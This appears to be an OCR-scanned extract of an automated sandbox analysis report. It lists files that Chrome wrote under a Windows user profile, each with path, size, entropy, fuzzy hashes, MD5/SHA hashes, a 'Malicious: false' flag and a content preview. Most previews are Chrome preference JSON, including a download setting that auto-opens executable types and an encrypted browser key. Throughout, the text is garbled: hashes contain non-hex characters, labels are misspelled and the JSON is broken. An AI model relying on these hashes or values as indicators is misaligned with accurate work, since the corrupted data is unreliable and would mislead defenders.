1YBIjSIOILGeiMKilFJZDroAAAAAABAAAAAAGAAIAAAAFW10avBhyV7qwszP ZbindD+KU20sh507HSmDPpFnuCDMAAAAGEkmabufgFUSmMOzx4cW7Aup7spgp
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WFIzMTtOAAAAAYRWLY xjf7/AqYrFrO0JZ6kbTiUt0/2PKkCw7ntLtbN2qgrad713MeL4iNGDFgqRIhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\9cObecce-43d5-40d5-9181-9fbca7cfff27.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

204585

6.043238814682897

false

6144:ghrlcj9+hP1pWIVB6FykaqfllUOoSiuRr:ghhcj9+YbBgQoc
FB210DEED880E7D90C180AC24088DD4C
EOAC2A635DEFDA6D000EDD311185289872F20A2A
94BBBB6662E9999E12217ABDF16D6D0157D26FOCCIF9E9DE325EBC69E44C5924

343663190AF356AE837C2584438A253A3EB6FBA2D3966CDEBEEC4D6519CFD5ECS57CAS57B25C7E0A18B75099187190F6EC9A44417B96A66C22F7021CB39F9FFD(
3

false
low

{"browser":{"last_redirect_origin":"","shortcut_migration_version:"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOQIlyd3wEVORGMegDAT8KX6WEAAABaHIwloHYIQKZwuwW8V0OyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT48ZMIUL1ZXX60EUPP
1YBIjSIOiLGeiMKIilFIZDroAAAAAABAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKmabufgFUSmMOzx4cW7Aup7spap
s4DvgbPrwRgUGqSpRZvQkbO+yVH56WF9zMTtOAAAAAYRWLY Xjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2grad713MeL4iINGDFgqRIhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

40

3.3041625260016576

false

3:FkXwgs0oRLn:+taRLn

7AE9008C2AA5ED3ESED52743E082F5BF
CD90099842F51474494BFC490433578A89C1B539
94E7D9BF431A0E3FOFD02FOFBA7321F43DD8B523E3D32092AFC474D3FD5ABF62

596E66D10186ADADS52FACF7E74CD438AD19AFAC30950D2D6EBS0EIFI430CA475D12BB79423EC8D15EAF37ABEOADIDCCAEASIC356A00055A82155C24A35C6
14

false
high, very likely benign file
SAPC....ovvvvviieiie UO..E.D.Q.0....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\0e0242e6-4da8-430c-90e6-e9dbd01d1471.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files\Google\Chrome\Application\chrome.exe
UTF-8 Unicode text, with very long lines, with no line terminators
dropped

19795

5.565179441511753

false

384:d+ntdLISRXS1kXqKf/pUZNCgVLH2HfDurUsHGxoOIrs4Bt:iLIPS1kXqKf/pUZNCgVLH2HfSrUgGfUP
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MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

A318DBC4AF2ADOD6FF113DDS57EGE3FF1
9370C0267EB11129FA27D262E60E726386405216
C9977A56A0D9D973B62B3961D22D3F3FAEF4A6A842ACD57FD1B7A706C3F7C4C1

D4031FA51506732DAC2066198BAFA06FF4D73501126961CEC87E420DFBFEF2F5A244DB5545D1BF9A98BB36ABECBEE139B971795A5CE22ACDOFB907C1DE248(
F2

false

{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xIs:xIsx:xIsxm:xlsm:ppt:pptx:pptxm:pptm:mh
trtf:pub:vsd:mpp:mdb:dot:dotm:xIsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso: 7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:1z"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb™{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events"[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299750737524348","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","i

,"icons™:
{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\0f91528a-af67-42f1-9269-0737c648201e.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

19796

5.565046152308507

false
384:d+ntdLI9RXS1kXgKf/pUZNCgVLH2HfDUurUsHGCoOI10s4d5:iLIPS1kXgKf/[pUZNCgVLH2HfSrUgG4HL
B93220B2CA5301EADE8B4F43159AA0EB

419221B2C51525A896BA79A7649BCBEBE3961E7C
A1BF2F9DCC7AF0A766972AA6E998349713D18AEOCF1BCO0C52ADDA6GF2E37CC84

EA0397D968FE26B93DFA3ADA4COFB81EE16D4E7A00150137563D3B0D6561466DB0141C3C3879ED8FDA48498ADDFAS59F9CFD5B68CF24FBDBE96FA415C5A0D0
2E

false

{"download":{"always_open_pdf_externally":true,"directory_upgrade”:true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xIsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
tirtf:pub:vsd:mpp:mdb:dot:dotm:xIsh:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso: 7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:1z"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb™:{"active_permissions":{"api*:['management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal™:"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299750737524348" "location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description™:"Discover great apps, games, extensions and themes for Google Chrome.","i

Jlicons™:
{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\3293236a-e04e-4455-aea3-ee6a6761e2bc.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

17703

5.57764118416966

false
384:d+ntdLIORXS1kXqKf/pUZNCgVLH2HfDuruCoOl/s48:iLIPS1kXgKf/pUZNCgVLH2HfSIU4As7
BE6D2BE40E83C8DD6F00BBF007C629C8
021C5B0362973A6B6CFF1FD9E43488B9ECASF563
3299215D7CEF5F37D47EC59E1F46133C05EC4E87063B28BDD0OC0208ACFDACFE3

5DEDC429E90D1DB3507CBDE2CF17A8A02C2873137E637708AD91B98E0002DFFF3CC167F8ADA86737061356B8A2DDDE13C8D98923152B296B4615A0239BEEAT
BE

false

{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xIsx:xIsxm:xlsm:ppt:pptx:pptxm:pptm:mh
trtf:pub:vsd:mpp:mdb:dot:dotm:xiIsh:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso: 7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:1z"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb™:{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events"[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299750737524348","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.

{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\472cf249-c5d5-4842-a549-688df528075c.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

4900

4.936866942470732

false
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SSDEEP:
MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

48:YcudkKSChkSi02gAUigTIY GIQKHo TwO/HMrf4AMgM8C1Nfct/9BhUJo3KhmeSnpNv:nyLNHP1pIKIRHc5k0JCKL8bbOTIVuHN
5A324B51A66515C5CBDA59C05BCB5FA9

AD9353646AE10A032CF744CC6528237546955E77
3D870BF5E86F19F07317D890218747COAF4F2B7BD451235BCA6CBAADA83A842C

C5D89AF6EF91614BB24801EBFCCCEGOD0O432E0SE2A896F87BA208B56A56A983E4B2A26344D4ESA02D7FFADSE4BFOB6FA74513CD735AEFDIC7244496B263420
95

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13299750738498683","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
|_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group™":"","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":false,"right":1060,"top":10,"work_area_bottom":984,"work_area_left"
rk_area_right":1280,"work_area_top":0}},"countryid_at_install":21843 | daily_original_length™:["0","0","0" "0","0","0" ","0","0","0","0","0","0","0",
","0","0","0","0","0" "o","0","0","0","0","0" "0","0","0","0","0","0 "0 ,"0","2042016"),"daily_rece

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\49134c5f-cfd5-413f-aaad-fflbdd191560.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4899

4.93664912645819

false

48:YcudkKSChklio2gAUiqTIY GIQKHo TwO/HMrf4AMgM8C1Nfct/9BhUJo3KhmeSnpNv:nyL2HP1pIKIRHc5k0JCKL8bbOTIVUHN
D5CD174607FFF3317D41F1BEDAOF6DIF

64E5B5ACA7E256B1410592BB915C1A520055CEB2
6FAED935BCAC7BDC218D745E2E1818387EFC5CC6EEBCDC37D6B26F3BEEDDDCC3

3CB85ED7E5498D71331187D728093AAF91B2E85ADE94B241C6BD038C0312988F6878DEB326FDB216583A5AEBEE38582B4EC78B82CF757C40176FFC77C42D22¢
7

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13299750738498683","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete”:{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
|_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_|left":0,"wor
k_area_right":1280,"work_area_top":0}},"countryid_at_install*:21843,"data_reduction":{"daily_original_length*:[*0","0","0""0","0","0","0","0","0","0","0","0","0","0","0","0","0","
0","0","0","0","0","0","0 o","o","0","0","0","0","0","0","0","0", ."o","0","0","0","0","0","0","0","0","2042016"],"daily_recei

’

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\4c55e695-5544-4c6d-90bf-bd9276791568.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4927

4.943314894792236

false
48:YcudkKSChkSiOmbhgAUiqTIY GIQKHo TwO/HMrf4AMgM8C1Nfct/9BhUJo3KhmeSnv:nyLNhP1pIKIRHc5k0JCKL8YEbOTIVUHN
BODEC8FEED2D109021958C14B384CFE7

3A909BEEDC7DB7D0OCOCD2B39E0362FACF3E55607
C9C9ECF7CF760F5D4ACDFC9A135881013CD833E852FBI5E39F687BD7841E0A28
164FA32855D780C95EFB96C43D3F1391C04651FA59492FFF5CB5CAD1AGA3BC007D980629033A80D4082752587AF049E58199F2446B8262FA17BEDFAD883CF6AE
false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13299750738498683","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
|_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":false,"right":1060, "top":10,"work_area_bottom":984,"work_area_|eft"
rk_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reductio! daily_original_length®:[*0","0","0","0","0","0 N " 0","0","0",
"o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_rece

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6185492b-27bd-49b9-a58e-943c826c2e12.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4926

4.943097972091799

false
48:YcudkKSChkliombhgAUigTIY GIQKHo TwO/HMrf4AMgM8C1Nfct/9BhUJo3KhmeSnv:nyL2hP1plKIRHc5k0JCKL8Y6bOTIVuHN
88340546E3199C247B5F58DFE814FALB
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SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

316956990382D0174F8A74613F13544E02DF6C71
19D542FFA821DB9C85665F13D07271CB6F2FD162C991802AF97503A0384BFE35

6C4EODF85988B14A314617B8681274E7C5592EAA430D0C1185B0D66B99297B9264BEEBA90SD8FFB5BA14C9122121ECCE22A69D11508B6EEDB4C287213F7BA4Z
5

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13299750738498683","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
|_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group™:"","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_|left":0,"wor
k_area_right":1280,"work_area_top":0}},"countryid_at_install*:21843,"data_reduction":{"daily_original_length™:["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","
o","o","o0","o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"),"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6bd77905-94fb-40b6-862b-e91fd1c8b72c.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

modified

1518

4.80967466503735

false
24:Y26alL3M33ayFGRaXa63aDaaragavatZa+Rdsd2dR/RdsdE+dMHWEmMQYhbG7n/iy:Y2nzM3qyvK6gDHGXCtwWs2RLsSUMH5Ym
43018E6331AF16E61E6A2B542C5324A5

08661E587A5C16415350F0E8BI63EFFCESD9210E
6474167C9B5E16D581BF6FA80D434C79D5EBB6FFAS8ACEC3652D1840239E8F60

F1EDCC533FFE244A46FBBFFDIF19AB2553603BCOFCI35789ECO1FB75579A122AD6787E9IB6ABE3FF61591D20C4014FEBFBASDBAFCF56D7FA7EGE49C6DE714CT
4F

false

"net":{"http_server_properties":{"servers":[{"isolation"[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","suppor

ts_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true} {"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spd

y":true},{"isolation":[],"server":"https://redirector.gvtl.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],
"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.go

,"supports_sp

ogle.com”,"supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com

dy":true},{"isolation™[],"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expi

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6e9b753d-f7cf-4bb4-b838-e2870ab177c3.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

very short file (no magic)

dropped

1

0.0

false

3:LiL

5058F1AF8388633F609CADB75A75DC9D
3A52CE780950D4D969792A2559CD519D7EE8BC727
CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CCO9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CEO3BBF1E94E93613A00F2
5F21

false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\71ba096d-ae0Oe-4b31-86e1-9c83e5fce3fe.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

17702

5.577772977697285

false
384:d+ntYLIORXS1kXqKf/pUZNCgVLH2HfDurUCrOIl/s4pQ:FLIPS1kXqKf/pUZNCgVLH2HfSIUrAs2Q
9CC6EF53F56ADFABF79039FEEB886430

B928212057AFDBAE5B6DAA95892EDCD1778F7401
2D02778470FD74F54549A4B851E76D23261B2A841F8DF6BE6F9C2D060FAF3578
F39181FB2399588522349081E902105AED81E392CF7A18EE7F46A31F7432483E3519656D61F5527CFBE12F7D46984E606E86D15C8BD7F12E6C83BA926586F3C5

false
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Preview:

{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xIsx:xIsxm:xlsm:ppt:pptx:pptxm:pptm:mh
trtf:pub:vsd:mpp:mdb:dot:dotm:xiIsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso: 7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:1z"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb™{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events"[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299750737524348","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","i

,icons™:
{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\93111f39-a0Obf-461c-9ac4-80bea82791b0.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

3473

4.884843136744451

false
96:6FGX0G70GhIGpyGzRDYLIEHYDBKGzUGaCGjHGESHG/OG6mhM:6Fe0i0sllyGzRDYLIEHYDBKSUpCQHISP
494384A177157C36E9017D1FFB39F0BF

CE5D9754A70CD84CEE77C9180DB92C69715BE105
07CFOA5189FAD30A4AA721F4F6DA1B15100991115833EACFALE2DC84A1B54337

BFBSOEECOCOB5D9E487047703BE49826321A4D249422E0C81E978E6C8A310F41C7B4B8F849229BA87484FDF4831DD6A98FF994DOFDASCE3D341CE615C15F2F!
C

false

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607497410","port":443,"protocol_str":"quic"}],"isolation":

[,"network_stats":{"srtt":27387},"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"1324851660
7334226","port":443,"protocol_str*:"quic"}],"isolation":[],"network_stats":{"srtt":34287},"server":"https://ssl.gstatic.com","supports_spdy":true},{"alternative_service":
[{"advertised_versions":[],"expiration":"13248516607463627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31787},"server":"https://fonts.gstat
ic.com","supports_spdy":true} {"alternative_service":[{"advertised_versions":[],"expiration":"13248516607318875","port":443,"protocol_str":"quic"}],"isolation":[],"networ

k_stats™:{"srtt":23359},"server":"https://apis.google.com","supports_spdy":true} {"alternative_service":[{"advertised_versions":[],"expiration":"13248

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9b569040-4716-46c0-8de7-194d440b05ba.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4899

4.93664912645819

false

48:YcudkKSChklio2gAUigTIY GIQKHo TwO/HMrf4MgM8C1Nfct/9BhUJo3KhmeSnpNv:nyL2HP1pIKIRHc5k0JCKL8bbOTIVUHN
D5CD174607FFF3317D41F1BEDAOF6DIF

64E5B5ACA7E256B1410592BB915C1A520055CEB2
6FAED935BCAC7BDC218D745E2E1818387EFC5CC6EEBCDC37D6B26F3BEEDDDCC3

3CB85ED7E5498D71331187D728093AAF91B2E85ADE94B241C6BD038C0312988F6878DEB326FDB216583A5AEBEE38582B4EC78B82CF757C40176FFC77C42D22¢
7

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13299750738498683","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete”:{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
|_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right*:1060,"top":10,"work_area_bottom":984,"work_area_|left":0,"wor
k_area_right":1280,"work_area_top™:0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length™:["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","
o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput

ed_hashes.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

11217

6.069602775336632

false

192:GbylInITwGB7V9HNne4qaskKxXItmLG48gcLg/Pkl:Gb+nldByaFx4toj8VEPT
90F880064A42B29CCFF51FE5425BF1A3
6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF
965203D541E442C107DBC6D5B395168123D0397559774BEAE4ESBOABC44EF268
DI9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DAOES9A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F

false
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Preview: {"file_hashes":[{"block_hashes":["A+1PYW3V6CJIbBuQ7aqrgYhyH3bT8PKyBXp3hN2sIpl0=","WSOpQRKYTHjPSIG9Zif2a7TNhy43NDcG1Zg5NvOUbHO=","|DctR8IMG5KZ
rQKm4kDjUB7FokSJfio/pmvFowRVlaY=","LPxhhJiuUOlprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96 AKKXALRM+COEU11XUjPiMXEK]jiCPdtHE=","w
ifibc1QfMBN2jrtUtLgsCefvuce TpAatmLvul11RIA=","dHjWISIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JgEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLNOCFL/ADaEeTI=","
DpjXcO85FFFY9KJIFPKGNfFUtdQIOsGwOS5jUckiUwY 14=","gqid6l1+mk/6yWgUECROofI9IMipXgXh2jEN2+CxmPEO=","prDB91X2Mmfg/M/txVMITWBMEGbOGjgBTP7C
MjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO11Jdn/UtbnAmg6T0=","+00Oc6ca+ChKUpTu+oa2ZRxRE+
WG3QJIMuUYWEVYCs40NI=","3mBGNAIRITANEQkqzU3TEi+5wJOubR5uwtS4/900M7w=","1A9NNawxuhu95H5e Thvf1rewJ4QQWhhPNxJXO1C/n68=","E3vW
LQxzmj+e5QxYbUscllJ5n0ITpw5IBHV1Kph3/KM=","i3I18ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSILPhrtuOhGYrHn3llsMHqBbi70gkljEE=","rh|
ZUEVWW2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRbOVZrY34aVXF3Fftxs

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit):  1.8784775129881184

Encrypted: false

SSDEEP: 3:FQXIXNQXIX:qTCT

MDS5: 51A2CBB807F5085530DEC18E45CB8569

SHAL: 7AD88CD3DE5844C7FC269C4500228A630016AB5B

SHA-256: 1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC

SHA-512: B643A8FA75EDA90C89ABI8F79D4D022BB81F1F62F50ED4ES440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DI
Malicious: false

Preview: 7L TR f5 s

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit):  5.288532687953195

Encrypted: false

SSDEEP: 6:n0pQ+q2Pwkn23iKKdK25+Xgx8chl+IFUtqVM1JgZmwYVM1IQVkwOwkn23iKKdK2L:OpQ+vYf5KKTXfchI3FUthg/ TQV5Jf5KN

MD5: 7CDC2C73E482CCCBED1692E84F3B6B55

SHA1L: 6A1FEE17675A5B83DCC02D436DFBCEA225BA994F

SHA-256: D613B3662CE126C798AB56079956F4D515C0CE94F60E1B32C6CAC202183B2F0C

SHA-512: 188C5037E5780007A84E1A8D346787FD1CFB64BE28FA36B8D66D930F734E09D7C520F90193F99FE01584B36363E0AO0D6BAB46C66A19AA4280A390723CADS7AF:
Malicious: false

Preview: 2022/06/15-09:12:24.939 157c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA

